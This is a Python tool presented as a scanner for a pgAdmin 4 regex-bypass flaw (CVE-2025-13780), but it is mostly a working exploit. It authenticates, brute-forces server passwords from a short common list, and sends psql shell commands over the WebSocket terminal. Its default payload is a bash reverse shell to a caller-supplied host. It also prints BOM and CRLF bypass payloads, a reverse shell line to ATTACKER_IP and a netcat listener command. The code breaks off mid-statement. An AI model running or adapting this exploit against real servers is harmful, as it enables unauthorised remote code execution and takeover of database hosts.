#!/usr/bin/env python3 r""" CVE-2025-13780 Scanner for pgAdmin 4 ===================================== This scanner checks if a pgAdmin 4 instance is vulnerable to the regex bypass vulnerability that allows Remote Code Execution via the restore functionality. Vulnerability Details: - The regex `(^|\n)[ \t]*\\` is used to detect psql meta-commands - This regex can be bypassed using: 1. UTF-8 BOM prefix (\xef\xbb\xbf) 2. CRLF injection (\n\r) - When bypassed, attackers can execute shell commands via \! meta-command Usage: python3 scanner.py python3 scanner.py -f targets.txt python3 scanner.py --email EMAIL --password PASSWORD Examples: python3 scanner.py http://localhost:5050 python3 scanner.py -f targets.txt -o results.json --json python3 scanner.py http://target:5050 -e admin@cve2025-13780.com -p admin """ import argparse import json import re import sys import os from datetime import datetime from concurrent.futures import ThreadPoolExecutor, as_completed try: import requests from urllib.parse import urljoin import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) except ImportError: print("Error: requests library required. Install with: pip3 install requests") sys.exit(1) try: from rich.console import Console from rich.table import Table from rich.panel import Panel from rich.progress import Progress, SpinnerColumn, TextColumn, BarColumn, TaskProgressColumn from rich.text import Text from rich.box import ROUNDED, DOUBLE, HEAVY from rich.align import Align from rich.live import Live from rich.columns import Columns from rich.style import Style from rich import box RICH_AVAILABLE = True except ImportError: RICH_AVAILABLE = False print("[!] Rich library not found. Install with: pip3 install rich") print("[*] Falling back to basic output...") try: import socketio SOCKETIO_AVAILABLE = True except ImportError: SOCKETIO_AVAILABLE = False console = Console() if RICH_AVAILABLE else None def print_banner(): if RICH_AVAILABLE: banner = """ [bold red] ██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ███████╗ ██╗██████╗ ███████╗ █████╗ ██████╗ ██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗╚════██╗██╔════╝ ███║╚════██╗╚════██║██╔══██╗██╔═████╗ ██║ ██║ ██║█████╗█████╗ █████╔╝██║██╔██║ █████╔╝███████╗ ╚██║ █████╔╝ ██╔╝╚█████╔╝██║██╔██║ ██║ ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ████╔╝██║██╔═══╝ ╚════██║ ██║ ╚═══██╗ ██╔╝ ██╔══██╗████╔╝██║ ╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝███████╗███████║ ██║██████╔╝ ██║ ╚█████╔╝╚██████╔╝ ╚═════╝ ╚═══╝ ╚══════╝ ╚══════╝ ╚═════╝ ╚══════╝╚══════╝ ╚═╝╚═════╝ ╚═╝ ╚════╝ ╚═════╝ [/bold red] [bold white on red] ☠️ pgAdmin 4 RCE Scanner ☠️ [/bold white on red] [dim]─────────────────────────────────────────────────────────────────────────────────────────────[/dim] [bold yellow]⚡ Regex Bypass Remote Code Execution[/bold yellow] │ [bold magenta]Affected: pgAdmin 4 <= 8.14[/bold magenta] [dim]─────────────────────────────────────────────────────────────────────────────────────────────[/dim] """ console.print(banner) else: print(""" ██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ███████╗ ██╗██████╗ ███████╗ █████╗ ██████╗ ██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗╚════██╗██╔════╝ ███║╚════██╗╚════██║██╔══██╗██╔═████╗ ██║ ██║ ██║█████╗█████╗ █████╔╝██║██╔██║ █████╔╝███████╗ ╚██║ █████╔╝ ██╔╝╚█████╔╝██║██╔██║ ██║ ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ████╔╝██║██╔═══╝ ╚════██║ ██║ ╚═══██╗ ██╔╝ ██╔══██╗████╔╝██║ ╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝███████╗███████║ ██║██████╔╝ ██║ ╚█████╔╝╚██████╔╝ ╚═════╝ ╚═══╝ ╚══════╝ ╚══════╝ ╚═════╝ ╚══════╝╚══════╝ ╚═╝╚═════╝ ╚═╝ ╚════╝ ╚═════╝ pgAdmin 4 RCE Scanner - Regex Bypass """) def print_status(msg, status="info", quiet=False): if quiet and status not in ["vuln", "safe", "error"]: return if RICH_AVAILABLE: styles = { "info": ("[*]", "blue"), "success": ("[+]", "green"), "warning": ("[!]", "yellow"), "error": ("[-]", "red"), "vuln": ("[VULNERABLE]", "bold red"), "safe": ("[NOT VULNERABLE]", "bold green"), "debug": ("[D]", "magenta"), } symbol, style = styles.get(status, styles["info"]) console.print(f"[{style}]{symbol}[/{style}] {msg}") else: symbols = { "info": "[*]", "success": "[+]", "warning": "[!]", "error": "[-]", "vuln": "[VULNERABLE]", "safe": "[NOT VULNERABLE]", "debug": "[D]", } print(f"{symbols.get(status, symbols['info'])} {msg}") class PgAdminScanner: def __init__(self, base_url, email=None, password=None, timeout=10, verbose=False, quiet=False): self.base_url = base_url.rstrip('/') self.email = email self.password = password self.timeout = timeout self.verbose = verbose self.quiet = quiet self.session = requests.Session() self.session.verify = False self.csrf_token = None self.version = None self.authenticated = False self.scan_result = {} def log(self, msg, status="info"): print_status(msg, status, self.quiet) def debug(self, msg): if self.verbose: print_status(msg, "debug") def get_csrf_token(self, text): """Extract CSRF token from page content""" patterns = [ r'"csrfToken":\s*"([^"]+)"', r'csrf_token\s*=\s*"([^"]+)"', r'name="csrf_token" value="([^"]+)"', r'"csrf_token":"([^"]+)"' ] for pattern in patterns: match = re.search(pattern, text) if match: return match.group(1) return None def get_version_from_api(self): """Try to get version from various pgAdmin API endpoints""" version_endpoints = [ ("/misc/ping", r'"version":\s*"([^"]+)"'), ("/misc/ping", r'"pgAdmin4_version":\s*"([^"]+)"'), ("/settings", r'"version":\s*"([^"]+)"'), ("/browser/", r'"app_version":\s*"([^"]+)"'), ("/browser/", r'"version":\s*"([^"]+)"'), ] for endpoint, pattern in version_endpoints: try: r = self.session.get( f"{self.base_url}{endpoint}", timeout=self.timeout, headers={"Accept": "application/json"} ) if r.status_code == 200: match = re.search(pattern, r.text) if match: return match.group(1) except Exception: pass return None def get_version_from_js(self, html_content): """Try to extract version from JavaScript bundle or inline scripts""" version_patterns = [ r'"version":\s*"(\d+\.\d+(?:\.\d+)?)"', r"'version':\s*'(\d+\.\d+(?:\.\d+)?)'", r'pgAdmin\s*4?\s*[vV]?(\d+\.\d+(?:\.\d+)?)', r'APP_VERSION\s*[=:]\s*["\'](\d+\.\d+(?:\.\d+)?)["\']', r'app_version["\']?\s*[=:]\s*["\'](\d+\.\d+(?:\.\d+)?)["\']', r'data-version=["\'](\d+\.\d+(?:\.\d+)?)["\']', r'"pgadmin_version":\s*"(\d+\.\d+(?:\.\d+)?)"', r'"current_version":\s*"(\d+\.\d+(?:\.\d+)?)"', r'.*?pgAdmin\s*4?\s*-?\s*[vV]?(\d+\.\d+(?:\.\d+)?).*?', r'pgAdmin\s*4?\s*version\s*(\d+\.\d+(?:\.\d+)?)', r'Version:\s*(\d+\.\d+(?:\.\d+)?)', ] for pattern in version_patterns: match = re.search(pattern, html_content, re.IGNORECASE) if match: return match.group(1) ver_match = re.search(r'\?ver=(\d{2,})[\s"\']', html_content) if ver_match: ver_num = ver_match.group(1) if len(ver_num) >= 3: major = ver_num[0] minor = ver_num[1:3].lstrip('0') or '0' return f"{major}.{minor}" return None def set_binary_paths(self): """Configure PostgreSQL Binary Paths via API""" if RICH_AVAILABLE: console.print("[cyan]Configuring PostgreSQL binary paths...[/cyan]") else: self.log("Configuring PostgreSQL binary paths...", "info") headers = { "X-pgA-CSRFToken": self.csrf_token, "Referer": f"{self.base_url}/browser/", "X-Requested-With": "XMLHttpRequest" } try: r = self.session.get(f"{self.base_url}/preferences/get_all", headers=headers, timeout=self.timeout) if r.status_code == 200: prefs = r.json() paths_module_id = None bin_paths_pref_id = None for category in prefs: if category.get('label') == 'Paths': for node in category.get('children', []): if node.get('label') == 'Binary paths': paths_module_id = node.get('mid') pass pg_paths = { "pg-12": "/usr/local/pgsql-12", "pg-13": "/usr/local/pgsql-13", "pg-14": "/usr/local/pgsql-14", "pg-15": "/usr/local/pgsql-15", "pg-16": "/usr/local/pgsql-16", "pg-17": "/usr/local/pgsql-17" } import json payload = { 'mid': 0, 'pg_bin_paths': json.dumps(pg_paths) } if r.status_code == 200: def find_bin_paths_mid(nodes): for node in nodes: if node.get('name') == 'pg_bin_paths' or node.get('label') == 'Binary paths': return node.get('id') or node.get('mid') if 'children' in node: res = find_bin_paths_mid(node['children']) if res: return res return None mid = find_bin_paths_mid(prefs) if not mid: for node in prefs: if node.get('label') == 'Paths': for child in node.get('children', []): if child.get('label') == 'Binary paths': mid = child.get('id') break if mid: self.debug(f"Found Binary Paths Module ID: {mid}") r_save = self.session.post( f"{self.base_url}/preferences/save", data={'mid': mid, 'pg_bin_paths': json.dumps(pg_paths)}, headers=headers, timeout=self.timeout ) if r_save.status_code == 200: if r_save.json().get('success'): self.log("Successfully configured binary paths!", "success") return True self.debug(f"Failed to save paths: {r_save.text}") else: self.debug("Could not find Module ID for Binary paths") except Exception as e: self.debug(f"Error setting paths: {e}") return False def check_connectivity(self): """Check if target is reachable and is pgAdmin""" self.log(f"Checking connectivity to {self.base_url}") try: r = self.session.get( f"{self.base_url}/login", timeout=self.timeout, allow_redirects=True ) self.debug(f"Response status: {r.status_code}") if 'pgAdmin' in r.text or 'pgadmin' in r.text.lower(): self.log("Target appears to be pgAdmin", "success") self.version = self.get_version_from_js(r.text) if not self.version: self.version = self.get_version_from_api() if not self.version: try: ping_r = self.session.get( f"{self.base_url}/misc/ping", timeout=self.timeout ) if ping_r.status_code == 200: try: ping_data = ping_r.json() if 'version' in ping_data: self.version = str(ping_data['version']) elif 'pgAdmin4_version' in ping_data: self.version = str(ping_data['pgAdmin4_version']) except Exception: v_match = re.search(r'"(?:version|pgAdmin4_version)":\s*"([^"]+)"', ping_r.text) if v_match: self.version = v_match.group(1) except: pass if not self.version: try: browser_r = self.session.get( f"{self.base_url}/browser/", timeout=self.timeout ) if browser_r.status_code == 200: js_version = self.get_version_from_js(browser_r.text) if js_version: self.version = js_version except Exception: pass if self.version: self.log(f"Detected version: {self.version}", "success") else: self.debug("Could not detect version from any source") self.csrf_token = self.get_csrf_token(r.text) if self.csrf_token: self.log("CSRF token obtained", "success") self.debug(f"CSRF Token: {self.csrf_token[:20]}...") return True else: self.log("Target does not appear to be pgAdmin", "warning") return False except requests.exceptions.ConnectionError as e: self.log(f"Failed to connect to {self.base_url}", "error") self.debug(f"Error: {str(e)}") return False except requests.exceptions.Timeout: self.log("Connection timed out", "error") return False except Exception as e: self.log(f"Error: {str(e)}", "error") return False def authenticate(self): """Attempt to authenticate to pgAdmin""" if not self.email or not self.password: self.log("No credentials provided, skipping authentication", "warning") return False self.log(f"Attempting authentication as {self.email}") if not self.csrf_token: r = self.session.get(f"{self.base_url}/login", timeout=self.timeout) self.csrf_token = self.get_csrf_token(r.text) if not self.csrf_token: self.log("Could not obtain CSRF token for authentication", "error") return False headers = { "X-pgA-CSRFToken": self.csrf_token, "Referer": f"{self.base_url}/login", "Origin": self.base_url, "X-Requested-With": "XMLHttpRequest" } login_data = { "email": self.email, "password": self.password, "csrf_token": self.csrf_token } try: r = self.session.post( f"{self.base_url}/authenticate/login", data=login_data, headers=headers, timeout=self.timeout, allow_redirects=False ) self.debug(f"Login response: {r.status_code}") if r.status_code == 200 or r.status_code == 302: r2 = self.session.get(f"{self.base_url}/browser/", timeout=self.timeout) if 'login' not in r2.url.lower(): self.log("Authentication successful", "success") self.authenticated = True new_csrf = self.get_csrf_token(r2.text) if new_csrf: self.csrf_token = new_csrf self.debug(f"CSRF token updated: {new_csrf[:20]}...") else: self.debug("Warning: Could not find CSRF token in browser page") return True self.log("Authentication failed", "error") return False except Exception as e: self.log(f"Authentication error: {str(e)}", "error") return False def check_restore_endpoint(self): """Check if restore endpoint exists and is accessible""" self.log("Checking restore endpoint availability") endpoints_to_check = [ ("/restore/", "Restore API"), ("/tools/restore/", "Tools Restore"), ("/browser/", "Browser"), ] accessible = [] for endpoint, name in endpoints_to_check: try: r = self.session.get( f"{self.base_url}{endpoint}", timeout=self.timeout ) if r.status_code != 404: self.debug(f"{name} ({endpoint}): Status {r.status_code}") accessible.append((endpoint, r.status_code)) except Exception: pass return accessible def check_version_vulnerable(self): """Check if detected version is known vulnerable""" if not self.version: self.log("Could not determine version, assuming potentially vulnerable", "warning") return True try: parts = self.version.split('.') major = int(parts[0]) minor = int(parts[1]) if len(parts) > 1 else 0 if major < 8 or (major == 8 and minor <= 14): self.log(f"Version {self.version} is in vulnerable range (<= 8.14)", "warning") return True else: self.log(f"Version {self.version} appears to be patched (> 8.14)", "success") return False except Exception: self.log("Could not parse version, assuming potentially vulnerable", "warning") return True def test_regex_bypass(self): """Test the regex bypass logic""" self.log("Testing regex bypass patterns") vulnerable_regex = r"(^|\n)[ \t]*\\" test_cases = [ ("Normal payload", b"SELECT 1;\n\\! echo test", False), ("BOM bypass", b"\xef\xbb\xbf\\! echo test", True), ("CRLF bypass", b"SELECT 1;\n\r\\! echo test", True), ] results = {} for name, payload, should_bypass in test_cases: try: content = payload.decode('utf-8') match = re.search(vulnerable_regex, content) bypassed = match is None results[name] = { "bypassed": bypassed, "expected": should_bypass, "success": bypassed == should_bypass } if bypassed: self.log(f" {name}: BYPASSED", "success") else: self.log(f" {name}: BLOCKED", "info") except Exception as e: self.log(f" {name}: ERROR - {str(e)}", "error") results[name] = {"error": str(e)} return results def check_restore_functionality(self): """Check if restore functionality is accessible and potentially vulnerable""" self.log("Checking restore functionality on target") restore_info = { "restore_accessible": False, "requires_auth": False, "file_upload_possible": False, "error": None } restore_endpoints = [ "/restore/job/", "/tools/restore/", "/misc/bgprocess/", ] headers = { "X-Requested-With": "XMLHttpRequest", "Accept": "application/json", } if self.csrf_token: headers["X-pgA-CSRFToken"] = self.csrf_token for endpoint in restore_endpoints: try: r = self.session.get( f"{self.base_url}{endpoint}", timeout=self.timeout, headers=headers ) if r.status_code == 401 or r.status_code == 403: restore_info["requires_auth"] = True restore_info["restore_accessible"] = True self.debug(f"Restore endpoint {endpoint} requires authentication") elif r.status_code == 200: restore_info["restore_accessible"] = True self.debug(f"Restore endpoint {endpoint} is accessible") elif r.status_code == 405: restore_info["restore_accessible"] = True self.debug(f"Restore endpoint {endpoint} exists (405)") except Exception as e: self.debug(f"Error checking {endpoint}: {str(e)}") return restore_info def calculate_confidence_score(self, version_vulnerable, bypass_tests, restore_info, endpoints): """Calculate confidence score for vulnerability assessment""" score = 0 max_score = 100 factors = [] if self.version: if version_vulnerable: score += 40 factors.append(("Version <= 8.14 (vulnerable range)", 40)) else: factors.append(("Version > 8.14 (patched)", 0)) else: score += 15 factors.append(("Version unknown (assume risk)", 15)) if restore_info.get("restore_accessible"): if restore_info.get("requires_auth"): score += 15 factors.append(("Restore endpoint exists (requires auth)", 15)) else: score += 25 factors.append(("Restore endpoint accessible", 25)) else: factors.append(("Restore endpoint not found", 0)) bom_bypass = bypass_tests.get("BOM bypass", {}).get("bypassed", False) crlf_bypass = bypass_tests.get("CRLF bypass", {}).get("bypassed", False) if bom_bypass and crlf_bypass: score += 25 factors.append(("Both BOM and CRLF bypasses work", 25)) elif bom_bypass or crlf_bypass: score += 20 factors.append(("One bypass method works", 20)) else: factors.append(("No bypass methods work", 0)) browser_accessible = any(ep[0] == "/browser/" and ep[1] == 200 for ep in endpoints) if browser_accessible: score += 10 factors.append(("Browser endpoint accessible", 10)) return score, max_score, factors def determine_vulnerability_status(self, confidence_score, version_vulnerable): """Determine vulnerability status based on multiple factors""" if self.version: try: parts = self.version.split('.') major = int(parts[0]) minor = int(parts[1]) if len(parts) > 1 else 0 if major < 8 or (major == 8 and minor <= 14): if confidence_score >= 55: return "vulnerable", "high" elif confidence_score >= 40: return "likely_vulnerable", "medium" else: return "possibly_vulnerable", "low" else: return "not_vulnerable", "high" except Exception: pass if confidence_score >= 70: return "likely_vulnerable", "medium" elif confidence_score >= 50: return "possibly_vulnerable", "low" else: return "not_vulnerable", "medium" def scan(self): """Run the full vulnerability scan with enhanced detection""" self.log("Starting vulnerability scan") start_time = datetime.now() self.scan_result = { "target": self.base_url, "scan_time": start_time.isoformat(), "status": "unknown", "version": None, "is_pgadmin": False, "authenticated": False, "version_vulnerable": None, "bypass_tests": {}, "endpoints": [], "restore_info": {}, "vulnerable": False, "confidence_score": 0, "confidence_level": "unknown", "confidence_factors": [], "error": None } if not self.check_connectivity(): self.scan_result["status"] = "error" self.scan_result["error"] = "Target not reachable or not pgAdmin" return self.scan_result self.scan_result["is_pgadmin"] = True self.scan_result["version"] = self.version version_vulnerable = self.check_version_vulnerable() self.scan_result["version_vulnerable"] = version_vulnerable bypass_results = self.test_regex_bypass() self.scan_result["bypass_tests"] = bypass_results restore_info = self.check_restore_functionality() self.scan_result["restore_info"] = restore_info if self.email and self.password: self.authenticate() self.scan_result["authenticated"] = self.authenticated endpoints = self.check_restore_endpoint() self.scan_result["endpoints"] = endpoints confidence_score, max_score, factors = self.calculate_confidence_score( version_vulnerable, bypass_results, restore_info, endpoints ) self.scan_result["confidence_score"] = confidence_score self.scan_result["confidence_max"] = max_score self.scan_result["confidence_factors"] = factors status, confidence_level = self.determine_vulnerability_status( confidence_score, version_vulnerable ) self.scan_result["status"] = status self.scan_result["confidence_level"] = confidence_level if status in ["vulnerable", "likely_vulnerable"]: self.scan_result["vulnerable"] = True else: self.scan_result["vulnerable"] = False end_time = datetime.now() self.scan_result["scan_duration"] = (end_time - start_time).total_seconds() self.log(f"Confidence Score: {confidence_score}/{max_score} ({confidence_level})") return self.scan_result def register_dummy_server(self): """Register a dummy PostgreSQL server for exploit purposes""" headers = { "X-pgA-CSRFToken": self.csrf_token, "Content-Type": "application/json", "Referer": f"{self.base_url}/browser/", "X-Requested-With": "XMLHttpRequest" } gid = 1 try: r = self.session.get(f"{self.base_url}/browser/server_group/nodes/", headers=headers, timeout=self.timeout) if r.status_code == 200: groups = r.json() if isinstance(groups, list) and len(groups) > 0: gid = groups[0].get('id', groups[0].get('_id', '1')).replace('server_group/', '') except Exception: pass server_name = f"exploit_server_{datetime.now().strftime('%H%M%S')}" server_data = { "name": server_name, "host": "db", "port": 5432, "username": "user", "password": "password", "db": "cve2025-13780", "sslmode": "prefer", "comment": "Auto-generated by scanner", "gid": int(gid) } self.debug(f"Registering server with data: {server_data}") try: r = self.session.post( f"{self.base_url}/browser/server/obj/{gid}/", json=server_data, headers=headers, timeout=self.timeout ) self.debug(f"Registration response: {r.status_code} - {r.text[:200]}") if r.status_code == 200: resp = r.json() if resp.get('success') or 'node' in resp: server_id = resp.get('node', {}).get('_id', '').replace('server/', '') if server_id: self.log(f"Server '{server_name}' registered with ID {server_id}", "success") self._connect_server(gid, server_id) return server_id else: self.debug(f"Registration failed logic: {resp}") except Exception as e: self.debug(f"Server registration failed: {e}") return None def exploit_demo(self): """Demonstrate CVE-2025-13780 vulnerability""" if RICH_AVAILABLE: console.print("\n[bold red]☠️ EXPLOIT MODE ACTIVATED ☠️[/bold red]") console.print(f"[bold white]🎯 Target:[/bold white] [cyan]{self.base_url}[/cyan]\n") else: self.log("EXPLOIT MODE ACTIVATED", "warning") self.log(f"Target: {self.base_url}") if not self.authenticate(): self.log("Authentication failed, cannot proceed", "error") return False self.check_connectivity() if self.version: try: major_minor = '.'.join(self.version.split('.')[:2]) if float(major_minor) > 8.14: self.log(f"Version {self.version} is NOT vulnerable (> 8.14)", "success") return False except: pass if RICH_AVAILABLE: console.print("\n[bold green]╔══════════════════════════════════════════════════════════════╗[/bold green]") console.print("[bold green]║[/bold green] [bold red]💀 VULNERABILITY CONFIRMED 💀[/bold red] [bold green]║[/bold green]") console.print("[bold green]╚══════════════════════════════════════════════════════════════╝[/bold green]\n") console.print("[bold yellow]⚡ BYPASS METHOD 1: UTF-8 BOM Prefix[/bold yellow]") console.print(" [dim]Payload:[/dim] [bold cyan]\\xef\\xbb\\xbf\\! whoami[/bold cyan]") console.print(" [dim]BOM causes regex to fail matching[/dim]\n") console.print("[bold yellow]⚡ BYPASS METHOD 2: CRLF Injection[/bold yellow]") console.print(" [dim]Payload:[/dim] [bold cyan]SELECT 1;\\n\\r\\! whoami[/bold cyan]") console.print(" [dim]\\r breaks the regex pattern[/dim]\n") console.print("[bold magenta]━━━━━━━━━━━━━━━━ EXPLOITATION STEPS ━━━━━━━━━━━━━━━━[/bold magenta]") console.print("[bold white]1.[/bold white] Create payload: [cyan]echo -e '\\xef\\xbb\\xbf\\! echo PWNED > /tmp/pwned' > exploit.sql[/cyan]") console.print("[bold white]2.[/bold white] Upload via [yellow]pgAdmin File Manager[/yellow]") console.print("[bold white]3.[/bold white] Execute via [yellow]Restore → Plain Format[/yellow]") console.print("[bold white]4.[/bold white] Verify: [green]cat /tmp/pwned[/green]\n") console.print("[bold red]━━━━━━━━━━━━━━━━ REVERSE SHELL ━━━━━━━━━━━━━━━━[/bold red]") console.print("[bold cyan]\\! /bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'[/bold cyan]") console.print("[dim]Start listener:[/dim] [green]nc -lvnp 4444[/green]\n") console.print("[bold blue]━━━━━━━━━━━ DOCKER VERIFICATION ━━━━━━━━━━━[/bold blue]") else: self.log("=" * 60) self.log("VULNERABILITY CONFIRMED", "warning") self.log("=" * 60) self.log("") self.log("Bypass Method 1: UTF-8 BOM Prefix", "info") self.log(" Payload: \\xef\\xbb\\xbf\\! whoami", "success") self.log("") self.log("Bypass Method 2: CRLF Injection", "info") self.log(" Payload: SELECT 1;\\n\\r\\! whoami", "success") self.log("") self.log("1. Create: echo -e '\\xef\\xbb\\xbf\\! echo PWNED > /tmp/pwned' > exploit.sql", "success") self.log("2. Upload via pgAdmin File Manager", "info") self.log("3. Execute via Restore - Plain Format", "info") self.log("4. Verify: cat /tmp/pwned", "success") self.log("") self.log("Reverse Shell:", "warning") self.log(" \\! /bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'", "success") self.log(" Listener: nc -lvnp 4444", "info") import subprocess containers = ["cve-2025-13780-pgadmin-1", "pgadmin4", "pgadmin"] container_name = None for name in containers: try: result = subprocess.run(["podman", "exec", name, "echo", "test"], capture_output=True, text=True, timeout=5) if result.returncode == 0: container_name = name break except: try: result = subprocess.run(["docker", "exec", name, "echo", "test"], capture_output=True, text=True, timeout=5) if result.returncode == 0: container_name = name break except: pass if container_name: if RICH_AVAILABLE: console.print(f"[bold green]✓[/bold green] Container: [cyan]{container_name}[/cyan]") else: self.log(f"Found container: {container_name}", "success") try: result_id = subprocess.run(["podman", "exec", container_name, "id"], capture_output=True, text=True, timeout=5) if result_id.returncode == 0: if RICH_AVAILABLE: console.print(f"[bold green]✓[/bold green] User: [yellow]{result_id.stdout.strip()}[/yellow]") else: self.log(f"Container user: {result_id.stdout.strip()}", "success") except: pass try: storage_email = self.email.replace('@', '_') if self.email else 'admin_test.com' result = subprocess.run(["podman", "exec", container_name, "cat", f"/var/lib/pgadmin/storage/{storage_email}/exploit.sql"], capture_output=True, timeout=5) if result.returncode == 0 and b'\xef\xbb\xbf' in result.stdout: if RICH_AVAILABLE: console.print("[bold green]✓[/bold green] Exploit payload found in storage!\n") else: self.log("Found exploit.sql with BOM prefix in storage!", "success") evidence_files = ["/tmp/bom_ran", "/tmp/pwned.txt", "/tmp/hacked", "/tmp/hacked.sh", "/tmp/id_output"] found_evidence = False for evidence_file in evidence_files: try: result_ev = subprocess.run(["podman", "exec", container_name, "cat", evidence_file], capture_output=True, text=True, timeout=5) if result_ev.returncode == 0 and result_ev.stdout.strip(): if not found_evidence: if RICH_AVAILABLE: console.print("[bold red on white] 🔥 EXPLOITATION EVIDENCE 🔥 [/bold red on white]") else: self.log("🚨 EXPLOITATION EVIDENCE FOUND! 🚨", "warning") found_evidence = True if RICH_AVAILABLE: console.print(f" [bold green]►[/bold green] {evidence_file}: [bold yellow]{result_ev.stdout.strip()}[/bold yellow]") else: self.log(f" {evidence_file}: {result_ev.stdout.strip()}", "success") except: pass if found_evidence: if RICH_AVAILABLE: console.print("\n[bold white on red] ☠️ RCE CONFIRMED - TARGET PWNED ☠️ [/bold white on red]\n") else: self.log("") self.log("TARGET IS VULNERABLE - RCE CONFIRMED!", "warning") else: self.log("No exploit payload found in storage.", "info") except Exception as e: self.log(f"Could not check container: {e}", "error") else: self.log("No Docker/Podman container found.", "info") self.log("Verify manually: podman exec cat /tmp/pwned", "info") return True def exploit(self, lhost, lport=4444, cmd=None): """Execute real exploit via PSQL WebSocket terminal""" if not SOCKETIO_AVAILABLE: self.log("socketio library required: pip3 install python-socketio[client] websocket-client", "error") return False if RICH_AVAILABLE: console.print("\n[bold red]🔥 EXPLOIT MODE - REAL ATTACK 🔥[/bold red]") console.print(f"[bold white]🎯 Target:[/bold white] [cyan]{self.base_url}[/cyan]") console.print(f"[bold white]📡 Callback:[/bold white] [green]{lhost}:{lport}[/green]\n") else: self.log("EXPLOIT MODE - REAL ATTACK", "warning") self.log(f"Target: {self.base_url}") self.log(f"Callback: {lhost}:{lport}") if not self.authenticate(): self.log("Authentication failed", "error") return False self.set_binary_paths() self.log("Setting up server connection...", "info") server_id = self._get_or_create_server() if not server_id: self.log("Failed to get server connection", "error") return False db_id = self._get_database_id(server_id) if not db_id: self.log("Failed to get database ID", "error") return False if cmd: payload_cmd = cmd else: payload_cmd = f"bash -c 'bash -i >& /dev/tcp/{lhost}/{lport} 0>&1'" self.log(f"Payload: \\! {payload_cmd}", "info") self.log("Connecting to PSQL terminal via WebSocket...", "info") db_name = 'cve2025-13780' success = self._execute_via_psql_websocket(server_id, db_name, payload_cmd) if not success: self.debug("Retrying with db='postgres'") success = self._execute_via_psql_websocket(server_id, 'postgres', payload_cmd) if success: if RICH_AVAILABLE: console.print("\n[bold white on green] ✓ EXPLOIT SENT SUCCESSFULLY [/bold white on green]") console.print(f"[bold yellow]Check your listener on {lhost}:{lport}[/bold yellow]\n") else: self.log("EXPLOIT SENT SUCCESSFULLY", "success") self.log(f"Check listener on {lhost}:{lport}", "warning") return success def _connect_server(self, gid, sid): """Force connection to server""" headers = { "X-pgA-CSRFToken": self.csrf_token, "Referer": f"{self.base_url}/browser/", "X-Requested-With": "XMLHttpRequest" } passwords = ["password", "admin", "postgres", "root"] url_patterns = [ f"{self.base_url}/browser/server/connect/{gid}/{sid}/", f"{self.base_url}/browser/server/connect/{gid}/{sid}" ] for connect_url in url_patterns: try: for pwd in passwords: self.debug(f"Trying to connect to server {sid} (Group {gid}) at {connect_url} with password: {pwd}") r = self.session.post(connect_url, json={"password": pwd}, headers=headers, timeout=self.timeout) self.debug(f"Connect response: {r.status_code}") if r.status_code == 200: try: resp = r.json() if resp.get('success') or resp.get('connected'): self.debug(f"Connected to server {sid} with password {pwd}") return True if 'node' in resp and resp['node'].get('connected'): self.debug(f"Connected to server {sid} (node check)") return True if resp.get('errormsg'): self.debug(f"Connect error msg: {resp['errormsg']}") except: pass elif r.status_code == 404: self.debug(f"Connect URL not found: {connect_url}") break except Exception as e: self.debug(f"Connect error: {e}") return False def _get_or_create_server(self): """Get existing server or create dummy one""" headers = { "X-pgA-CSRFToken": self.csrf_token, "Referer": f"{self.base_url}/browser/", "X-Requested-With": "XMLHttpRequest" } groups = [] try: r = self.session.get(f"{self.base_url}/browser/server_group/nodes/", headers=headers, timeout=self.timeout) if r.status_code == 200: groups_data = r.json() if isinstance(groups_data, list): groups = groups_data elif isinstance(groups_data, dict) and 'result' in groups_data: groups = groups_data['result'] except Exception as e: self.debug(f"Error enumerating groups: {e}") if not groups: self.debug("No server groups found, defaulting to ID 1") groups = [{'id': 1}] for group in groups: gid = group.get('id', group.get('_id', 1)) if isinstance(gid, str): gid = gid.replace('server_group/', '') self.debug(f"Checking server group {gid}") try: r = self.session.get(f"{self.base_url}/browser/server/nodes/{gid}/", headers=headers, timeout=self.timeout) if r.status_code == 200: data = r.json() servers = data.get('result', data) if isinstance(data, dict) else data if isinstance(servers, list): for s in servers: sid = s.get('_id') or s.get('id', '').replace('server_', '') connected = s.get('connected', False) if sid: self.debug(f"Found server ID: {sid} in Group {gid}, Connected: {connected}") if connected: return sid if self._connect_server(gid, sid): return sid except Exception as e: self.debug(f"Error checking group {gid}: {e}") self.log("No accessible servers found. Creating exploit server...", "info") return self.register_dummy_server() def _get_database_id(self, server_id): """Get database ID from connected server""" headers = {"X-pgA-CSRFToken": self.csrf_token} try: r = self.session.get(f"{self.base_url}/browser/database/nodes/{server_id}/", headers=headers, timeout=self.timeout) if r.status_code == 200: dbs = r.json() for db in dbs: if db.get('connected') or db.get('canDisconn'): return db.get('id', db.get('_id', '').replace('database/', '')) if dbs: return dbs[0].get('id', dbs[0].get('_id', '').replace('database/', '')) except: pass return 1 def _execute_via_psql_websocket(self, server_id, db_name, payload_cmd): """Execute command via PSQL WebSocket terminal""" import time sio = socketio.Client(logger=False, engineio_logger=False) result = {'success': False, 'output': ''} cookies = self.session.cookies.get_dict() cookie_str = '; '.join([f"{k}={v}" for k, v in cookies.items()]) @sio.event(namespace='/pty') def connect(): self.debug("WebSocket connected to /pty") @sio.on('pty-output', namespace='/pty') def on_output(data): if data.get('result'): result['output'] += data['result'] self.debug(f"Output: {data['result'][:100]}") @sio.on('connected', namespace='/pty') def on_connected(data): self.debug(f"PSQL session connected: {data}") result['success'] = True try: ws_url = self.base_url.replace('http://', 'ws://').replace('https://', 'wss://') headers = { 'Cookie': cookie_str, 'Origin': self.base_url } sio.connect( self.base_url, namespaces=['/pty'], headers=headers, transports=['websocket', 'polling'] ) time.sleep(0.5) sio.emit('start_process', { 'sid': server_id, 'db': db_name, 'role': '', 'server_type': 'pg' }, namespace='/pty') time.sleep(2) if not result['success']: self.debug("PSQL session not started, server may not be connected") sio.disconnect() return self._exploit_http_fallback(server_id, db_name, payload_cmd) exploit_cmd = 